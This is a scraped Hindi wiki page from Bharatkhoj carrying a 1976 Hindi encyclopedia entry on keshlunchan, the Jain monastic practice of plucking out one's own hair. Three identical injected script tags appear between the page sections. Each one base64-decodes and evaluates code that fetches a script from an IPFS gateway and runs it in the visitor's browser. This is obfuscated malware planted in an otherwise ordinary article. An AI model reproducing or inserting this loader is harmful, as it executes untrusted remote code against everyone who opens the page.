केशलुंचन

अद्‌भुत भारत की खोज
Bharatkhoj (चर्चा | योगदान) द्वारा परिवर्तित १२:१३, ७ अगस्त २०१८ का अवतरण
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

चित्र:Tranfer-icon.png यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

लेख सूचना
केशलुंचन
पुस्तक नाम हिन्दी विश्वकोश खण्ड 3
पृष्ठ संख्या 124
भाषा हिन्दी देवनागरी
संपादक सुधाकर पांडेय
प्रकाशक नागरी प्रचारणी सभा वाराणसी
मुद्रक नागरी मुद्रण वाराणसी
संस्करण सन्‌ 1976 ईसवी
उपलब्ध भारतडिस्कवरी पुस्तकालय
कॉपीराइट सूचना नागरी प्रचारणी सभा वाराणसी
लेख सम्पादक जगदीाचंद्र जैन

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

केशलुंचन जैन मुनियों द्वारा पालन किए जानेवाले 28 मूल गुणों में एक। केशलुंचन अर्थात्‌ केशों का लोंच करने (नोचने) को तप कहा गया है। बौद्ध साधुओं को भी उस्तरा आदि रखने का निषेध है, इसलिये कम से कम दो और अधिक से अधिक चार महीने में वे अपने सिर, दाढ़ी और मूछों के बाल अपने हाथ से उखाड़ते हैं, जिसे पंचमुष्टिलोंच कहा जाता है। केशलोंच का बड़ा माहात्म्य माना गया है और इस अवसर पर भक्तों का मेला लग जाता है। केशलोंच और ब्रह्मचर्यपालन को निग्रंथ धर्म में अत्यंत कठिन बताया है, तथा इनका पालन करने में मुनियों को अत्यंत सावधान रहने का उपदेश है।


टीका टिप्पणी और संदर्भ